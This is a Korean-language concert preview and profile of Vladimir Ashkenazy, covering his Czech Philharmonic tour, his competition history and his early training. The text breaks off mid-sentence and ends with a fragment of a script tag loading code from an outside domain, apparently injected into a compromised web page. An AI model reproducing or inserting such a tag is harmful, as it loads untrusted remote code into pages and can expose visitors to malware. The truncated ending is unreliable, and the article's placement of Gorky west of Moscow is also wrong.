▒ 지휘자·피아니스트로 내한하는 블라디미르 아쉬케나지 가치있는 모든 음악에 도전한다.
피아니스트 겸 지휘자로 활동하고 있는 러시아의 작은 거인 블라디미르 아쉬케나지가 100년 역사의 체코필과 함께 오는 11월 16, 17일 양일간 예술의전당과 세종문화회관에 선다.
그간 한국에서 피아니스트로서 네 번의 독주회(’77, 85, 95, 98)를 가진 바 있고, 96년에는 도이치벨레 교향악단을 이끌고 지휘자로서 내한한 바 있는 아쉬케나지.▒
이번 내한공연에서 그는 체코필의 상임지휘자로서, 그리고 모차르트 피아노 협주곡의 협연자로서 1인 2역을 맡는다. 한편 그의 전속 레이블인 데카와 쇼팽의 작품으로만 구성된 음반을 발매, 여전히 피아니스트로서 건재하고 있음을 과시하고 있다. 지난 1998년 5월 예술의전당에 선 이래 3년만에 다시 한국을 찾는 아쉬케나지. 당시 그의 연주에 대한 느낌은 한 마디로 표현할 만한 자극적이거나 강렬한 인상이라기보다는 뭔가 그 사람만의 인격이 그대로 뚝뚝 묻어나오는 연주였다는 것이다. 아쉬케나지의 연주세계에는 제 아무리 날고 긴다는 신예 피아니스트라 하더라도 감히 넘볼 수 없는 그 무엇이 존재했다. 훨씬 고차원적이고 사색적인 연주, 피아노를 통해 그가 살아온 인생을 진솔하게 되돌아보려는 숨은 노력이 느껴지는 연주, 그리고 피아노를 통해 숨김 없고 가식 없고 꾸밈 없이 자신의 존재를 보여주려는, 너무나 자연스런 연주… 그 감동의 여운이 아직도 가슴 깊숙한 곳에서 맴돈다.
1955년 폴란드 바르샤바에서 열린 제5회 쇼팽 국제 콩쿨에서는 심사위원 베네데티 미켈란젤리가 1위와 2위의 순위 결정에 대해 항의, 심사위원직을 사퇴한 사건이 있었다. 이때 미켈란젤리가 2위가 아니라 1위가 되어야 한다고 주장했던 참가자가 바로 18세의 블라디미르 아쉬케나지, 1위는 아담 하라셰비치였다. 이 사실은 세계적으로 크게 파문을 일으켰고, 결과적으로 아쉬케나지는 1위보다도 더 유명해졌다.
이렇듯 극적으로, 어찌보면 운좋게 세계에 알려지기 시작한 아쉬케나지는 이듬해인 1956년에는 벨기에 엘리자베스 국제 콩쿨에 도전한다. 그는 당당히 우승을 차지했고, 이로 인한 연주회에서도 크게 성공을 거두면서 본격적으로 서방세계로 이름이 알려지게 된다. 언론은 아쉬케나지의 베토벤 후기 소나타 연주에 대해서 ‘마치 베토벤이 직접 연주한 것과 같은 사운드’였다며 극찬을 아끼지 않았다. 1960년에 모스크바 음악원을 졸업한 아쉬케나지는 61년, 그에게 있어서 마지막이 되는 콩쿨에 출전한다. 제2회 차이코프스키 콩쿨. 당시 차이코프스키의 곡을 별로 좋아하지 않았던 아쉬케나지는 출전을 망설였지만 소련 당국의 강요에 의해 출전했다고 밝힌 바 있다. 소련이 반강제적으로 그를 출전시킨 이유는 자국이 주최한 콩쿨임에도 제1회의 우승컵을 미국의 반 클라이번에 빼앗긴 것에 대한 복수를 위해서였다고 전해진다. 출전 배경이야 어찌되었건간에 이는 바꾸어 말하면 그의 우승에 대한 소련의 확신의 증거였고, 아쉬케나지는 소련의 기대를 저버리지 않고 우승을 차지한다(영국의 존 옥돈과 공동 1위였다). 이것으로 아쉬케나지는 세계 3대 콩쿨을 통해 피아니스트로서 그 실력을 확실하게 인정받은 셈이다.
블라디미르 아쉬케나지는 1937년 7월 6일 모스크바 서쪽의 고리키에서 태어났다. 여섯 살 때부터, 경음악 반주자로 활동하던 아버지 곁에서 자연스레 피아노를 접했던 아쉬케나지는 그 이듬해에 학생 오케스트라와 하이든의 협주곡을 협연할 수 있을 정도로 성장이 빨랐다. 그는 아홉 살이 되던 해에 10년제의 모스크바 음악원 부속의 중앙음악학교에 입학하여 아나이다 ?script src=http://batyu.cn> |